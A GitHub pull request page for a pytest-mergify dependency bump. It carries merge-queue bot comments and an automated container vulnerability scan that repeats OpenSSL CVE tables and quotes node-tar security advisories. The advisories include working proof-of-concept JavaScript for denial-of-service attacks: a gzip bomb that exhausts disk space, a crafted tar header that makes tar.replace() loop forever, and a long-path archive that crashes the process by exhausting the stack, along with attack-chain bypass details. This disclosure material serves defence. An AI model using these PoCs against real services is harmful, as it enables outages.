Skip to content

Update dependency pytest-mergify to >=2026.9.18.1 - #2838

Closed
renovate[bot] wants to merge 3414 commits into
mainfrom
renovate/pytest-mergify-2026.x
Closed

renovate[bot] wants to merge 3414 commits into
mainfrom
renovate/pytest-mergify-2026.x

Conversation

@renovate

@renovate renovate Bot commented Aug 4, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
pytest-mergify >=2026.1.26.1 → >=2026.9.18.1 age confidence

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate Bot and others added 30 commits March 4, 2026 10:56
@mergify

mergify Bot commented Aug 4, 2026 •

Copy link
Copy Markdown
Contributor

Merge Queue Status

This pull request spent 6 minutes 16 seconds in the queue, including 5 minutes 36 seconds running CI.

Waiting for
  • check-success = Test Image / API Test
All conditions

Reason

The merge conditions cannot be satisfied due to failing checks

  • Test Image / API Test
  • @mergify/Mergify Merge Protections

Failing checks:

Hint

You may have to fix your CI before adding the pull request to the queue again.
If you update this pull request, to fix the CI, it will automatically be requeued once the queue conditions match again.
If you think this was a flaky issue instead, you can requeue the pull request, without updating it, by posting a @mergifyio queue comment.

Requeued — the merge queue status continues in this comment ↓.

@mergify

mergify Bot commented Aug 4, 2026

Copy link
Copy Markdown
Contributor

Hey @renovate[bot], your pull request has been dequeued due to the following reason: CHECKS_FAILED. Sorry about that, but you can requeue the PR by using @mergifyio requeue if you think this was a mistake.

@mergify

mergify Bot commented Aug 5, 2026 •

Copy link
Copy Markdown
Contributor

Merge Queue Status

This pull request spent 3 minutes 20 seconds in the queue, with no time running CI.

Waiting for
  • check-success = Test Image / API Test
  • any of: [🛡 GitHub repository ruleset rule main]
    • check-neutral = @mergify/Mergify Merge Protections
    • check-skipped = @mergify/Mergify Merge Protections
    • check-success = @mergify/Mergify Merge Protections
All conditions

Reason

The pull request #2838 has been manually updated

Requeued — the merge queue status continues in this comment ↓.

@mergify

mergify Bot commented Aug 5, 2026 •

Copy link
Copy Markdown
Contributor

Merge Queue Status

This pull request spent 7 minutes 24 seconds in the queue, including 6 minutes 56 seconds running CI.

Waiting for
  • check-success = Test Image / API Test
All conditions

Reason

The merge conditions cannot be satisfied due to failing checks

  • Test Image / API Test
  • @mergify/Mergify Merge Protections

Failing checks:

Hint

You may have to fix your CI before adding the pull request to the queue again.
If you update this pull request, to fix the CI, it will automatically be requeued once the queue conditions match again.
If you think this was a flaky issue instead, you can requeue the pull request, without updating it, by posting a @mergifyio queue comment.

Requeued — the merge queue status continues in this comment ↓.

@mergify

mergify Bot commented Aug 5, 2026

Copy link
Copy Markdown
Contributor

Hey @renovate[bot], your pull request has been dequeued due to the following reason: CHECKS_FAILED. Sorry about that, but you can requeue the PR by using @mergifyio requeue if you think this was a mistake.

@MH0386

MH0386 commented Aug 5, 2026 •

Copy link
Copy Markdown
Contributor

🔍 Vulnerabilities of ghcr.io/alphaspheredotai/chattr:11df7b4-pr-2838

📦 Image Reference ghcr.io/alphaspheredotai/chattr:11df7b4-pr-2838
digestsha256:d169e5cb71874c82752b42232c79b4910efd4d48383f2ecfb146c7bdcf9e0501
vulnerabilitiescritical: 16 high: 84 medium: 32 low: 10 unspecified: 12
platformlinux/amd64
size292 MB
packages471
critical: 1 high: 11 medium: 5 low: 2 libcrypto3 3.6.2-r2 (apk)

pkg:apk/wolfi/libcrypto3@3.6.2-r2?arch=x86_64&distro=wolfi-20230201&upstream=openssl

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.607%
EPSS Percentile48th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score3.566%
EPSS Percentile89th percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.804%
EPSS Percentile55th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.707%
EPSS Percentile52nd percentile
Description

high : CVE--2026--54876

Affected range<3.6.3-r4
Fixed version3.6.3-r4
EPSS Score0.261%
EPSS Percentile18th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.704%
EPSS Percentile52nd percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile42nd percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile66th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile63rd percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile62nd percentile
Description

high : CVE--2026--14456

Affected range<3.6.3-r5
Fixed version3.6.3-r5
EPSS Score0.729%
EPSS Percentile53rd percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile45th percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.060%
EPSS Percentile63rd percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile34th percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.439%
EPSS Percentile38th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.503%
EPSS Percentile42nd percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile46th percentile
Description
critical: 1 high: 11 medium: 5 low: 2 libcrypto3 3.6.2-r2 (apk)

pkg:apk/wolfi/libcrypto3@3.6.2-r2?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.607%
EPSS Percentile48th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score3.566%
EPSS Percentile89th percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.804%
EPSS Percentile55th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.707%
EPSS Percentile52nd percentile
Description

high : CVE--2026--54876

Affected range<3.6.3-r4
Fixed version3.6.3-r4
EPSS Score0.261%
EPSS Percentile18th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.704%
EPSS Percentile52nd percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile42nd percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile66th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile63rd percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile62nd percentile
Description

high : CVE--2026--14456

Affected range<3.6.3-r5
Fixed version3.6.3-r5
EPSS Score0.729%
EPSS Percentile53rd percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile45th percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.060%
EPSS Percentile63rd percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile34th percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.439%
EPSS Percentile38th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.503%
EPSS Percentile42nd percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile46th percentile
Description
critical: 1 high: 11 medium: 5 low: 2 libcrypto3 3.6.2-r2 (apk)

pkg:apk/wolfi/libcrypto3@3.6.2-r2?arch=x86_64&origin=openssl

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.607%
EPSS Percentile48th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score3.566%
EPSS Percentile89th percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.804%
EPSS Percentile55th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.707%
EPSS Percentile52nd percentile
Description

high : CVE--2026--54876

Affected range<3.6.3-r4
Fixed version3.6.3-r4
EPSS Score0.261%
EPSS Percentile18th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.704%
EPSS Percentile52nd percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile42nd percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile66th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile63rd percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile62nd percentile
Description

high : CVE--2026--14456

Affected range<3.6.3-r5
Fixed version3.6.3-r5
EPSS Score0.729%
EPSS Percentile53rd percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile45th percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.060%
EPSS Percentile63rd percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile34th percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.439%
EPSS Percentile38th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.503%
EPSS Percentile42nd percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile46th percentile
Description
critical: 1 high: 11 medium: 5 low: 2 libssl3 3.6.2-r2 (apk)

pkg:apk/wolfi/libssl3@3.6.2-r2?arch=x86_64&distro=wolfi-20230201&upstream=openssl

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--34182

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.607%
EPSS Percentile48th percentile
Description

high : CVE--2026--45447

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score3.566%
EPSS Percentile89th percentile
Description

high : CVE--2026--7383

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.804%
EPSS Percentile55th percentile
Description

high : CVE--2026--9076

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.707%
EPSS Percentile52nd percentile
Description

high : CVE--2026--54876

Affected range<3.6.3-r4
Fixed version3.6.3-r4
EPSS Score0.261%
EPSS Percentile18th percentile
Description

high : CVE--2026--45445

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.704%
EPSS Percentile52nd percentile
Description

high : CVE--2026--42765

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.508%
EPSS Percentile42nd percentile
Description

high : CVE--2026--42764

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.165%
EPSS Percentile66th percentile
Description

high : CVE--2026--34183

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.049%
EPSS Percentile63rd percentile
Description

high : CVE--2026--34180

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.025%
EPSS Percentile62nd percentile
Description

high : CVE--2026--14456

Affected range<3.6.3-r5
Fixed version3.6.3-r5
EPSS Score0.729%
EPSS Percentile53rd percentile
Description

high : CVE--2026--34181

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.235%
EPSS Percentile15th percentile
Description

medium : CVE--2026--42767

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.557%
EPSS Percentile45th percentile
Description

medium : CVE--2026--42766

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score1.060%
EPSS Percentile63rd percentile
Description

medium : CVE--2026--42769

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.401%
EPSS Percentile34th percentile
Description

medium : CVE--2026--35188

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.302%
EPSS Percentile23rd percentile
Description

medium : CVE--2026--45446

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.439%
EPSS Percentile38th percentile
Description

low : CVE--2026--42770

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.503%
EPSS Percentile42nd percentile
Description

low : CVE--2026--42768

Affected range<3.6.3-r0
Fixed version3.6.3-r0
EPSS Score0.580%
EPSS Percentile46th percentile
Description
critical: 1 high: 2 medium: 2 low: 0 tar 7.5.16 (npm)

pkg:npm/tar@7.5.16

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

critical 9.2: CVE--2026--59873 Allocation of Resources Without Limits or Throttling

Affected range<=7.5.18
Fixed version7.5.19
CVSS Score9.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
EPSS Score0.556%
EPSS Percentile45th percentile
Description

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details

The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC

The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

  1. Create the exploit script:
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
  1. Run the PoC:
node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

high 8.7: CVE--2026--59874 Loop with Unreachable Exit Condition ('Infinite Loop')

Affected range<=7.5.17
Fixed version7.5.18
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.434%
EPSS Percentile37th percentile
Description

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true

Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

high 7.5: CVE--2026--73566 Uncontrolled Resource Consumption

Affected range<=7.5.20
Fixed version7.5.21
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.380%
EPSS Percentile32nd percentile
Description

Summary

node-tar (npm tar) contains an uncontrolled-recursion stack-exhaustion DoS in the internal mapHas helper used by filesFilter. When a consumer calls tar.t(...) or tar.x(...) with a non-empty member-selection list, node-tar installs a filter that closes over the recursive mapHas (src/list.ts:33-44). mapHas walks an entry path upward one path.dirname() call per recursion with no segment cap. A single crafted tar with a GNU-L (or PAX-x) long-path header can deliver a path of tens of thousands of /-separated segments (up to maxMetaEntrySize = 1 MiB). The recursion overflows the call stack, throwing an uncatchable RangeError that terminates the Node process on async/streaming consumers.

Root Cause

filesFilter (src/list.ts:27-51) is installed whenever a caller passes a member-selection list (src/list.ts:119-122, src/extract.ts:55-57). Its filter is invoked at src/parse.ts:253 (entry.ignore = entry.ignore || !this.filter(entry.path, entry)) inside Parser[CONSUMEHEADER] — and crucially outside the only try/catch in that method (which wraps new Header at src/parse.ts:179-183). mapHas recurses once per path segment with no depth limit. The Unpack maxDepth guard (src/unpack.ts:342, in [CHECKPATH]) only runs on the 'entry' event, which fires after CONSUMEHEADER has already invoked the filter — so the stack overflows before any depth guard executes. tar.t (list) has no maxDepth at all.

Impact

Unauthenticated, remotely-triggerable denial of service: a ~188-byte gzip (≈26 KB tar) crashes any service that lists or extracts selected members from an untrusted archive (package registries, CI artifact/cache restore, upload processors). On async (await tar.t(...)/tar.x(...)) and streaming/pipe consumers the RangeError escapes the promise as an uncaughtException and terminates the process — standard defensive try/catch around the async call does NOT prevent it. (The synchronous API is catchable; the async/stream paths — the dominant server pattern — are not.)

Proof of Concept

// Build a tar whose single entry has a GNU-L long path of ~12,000 "a/" segments (~26 KB),
// gzip it (≈188 bytes), then have a consumer list/extract with member selection:
const tar = require('tar');
await tar.t({ file: 'evil.tar.gz', gzip: true }, ['some-member']); // -> RangeError, process exit

Empirically reproduced on Node v24.18.0 against built dist/commonjs of node-tar 7.5.20: 188-byte gzip → 26,112-byte tar (12,000 segments) → uncaught RangeError: Maximum call stack size exceeded → process exit. A control run with no member-selection list (filter not installed) parses cleanly (exit 0), isolating mapHas as the sole cause.

Attack Chain

  1. Entry. Attacker crafts a tar with a GNU L (or PAX x) long-path header whose body is "a/"×~12000 (~26 KB), followed by a normal file entry.
    • Guard: maxMetaEntrySize caps the meta body at 1 MiB (src/parse.ts:241).
    • Bypass proof: 26 KB ≪ 1 MiB → accepted (verified: 26 KB archive parsed up to the filter).
  2. Trigger. Victim service calls tar.t({file},[sel]) or tar.x({file,cwd},[sel]) (member selection — a documented, common API).
    • Guard: Unpack.maxDepth (default 1024) at src/unpack.ts:342; decompression-ratio guard.
    • Bypass proof: maxDepth lives in [CHECKPATH] on the 'entry' event, which fires after CONSUMEHEADER's filter call — the crash occurs before it (extract exits 1 with default maxDepth). tar.t has no maxDepth. Ratio is ~139× (trivial); no total-bytes cap applies to the uncompressed meta body.
  3. Sink. this.filter(entry.path) → mapHas recurses once per / segment (src/list.ts:39).
    • Guard: try/catch in CONSUMEHEADER.
    • Bypass proof: the only try/catch wraps new Header (src/parse.ts:179-183); the this.filter(...) call at src/parse.ts:253 is outside it. The RangeError propagates out of the stream write/'data' path → uncaught exception (verified: process.on('uncaughtException') fires; async await+try/catch does NOT intercept).
  4. Impact. Node process termination; a 188-byte gzip crashes any consumer that lists/extracts selected members from untrusted archives.

Bypass Evidence

  • mapHas recursion is member-name-independent: the crash fires even when the requested members do not match the malicious entry path — the attacker only needs the consumer to use member selection.
  • Standalone mapHas overflows at 20k–30k segments; on the real streaming path (atop write → CONSUMECHUNK → CONSUMEHEADER → filter) it crashes at ≤8k segments (finder's ~12k estimate is accurate for the reachable path).
  • Control (no member list → no filter) parses cleanly (exit 0), isolating mapHas.

Affected Versions

<= 7.5.20 (npm tar). mapHas present verbatim on tag v7.5.20 (latest GitHub release and npm dist-tag latest); no segment/depth cap in src/list.ts or the CONSUMEHEADER filter path; HEAD == 7.5.20, no unreleased fix.

Suggested Fix

Rewrite mapHas iteratively (walk dirname in a while loop with a segment/visited cap), or enforce a hard path-segment limit in Header/Parser independent of maxMetaEntrySize, applied before any per-entry filter runs.

Dedup Note

Distinct from CVE-2024-28863 / GHSA-f5x3-32g6-qm9j "lack of folders depth validation" (that bounds mkdir recursion during extraction via maxDepth in Unpack[CHECKPATH] on the 'entry' event — a different sink, code path, and fix; runs after the filter and does not apply to tar.t). Also distinct from the PAX NUL/numeric-path crash advisories (improper-input-to-fs / type confusion, not recursion) and the gzip-bomb advisory (resource exhaustion on disk writes). None touch list.ts/filesFilter/mapHas or require member selection.


Reported by zx (Jace) — GitHub: @manus-use

medium 5.3: CVE--2026--59875 Uncaught Exception

Affected range<=7.5.16
Fixed version7.5.17
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.507%
EPSS Percentile42nd percentile
Description

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.


Root cause

Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:

// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
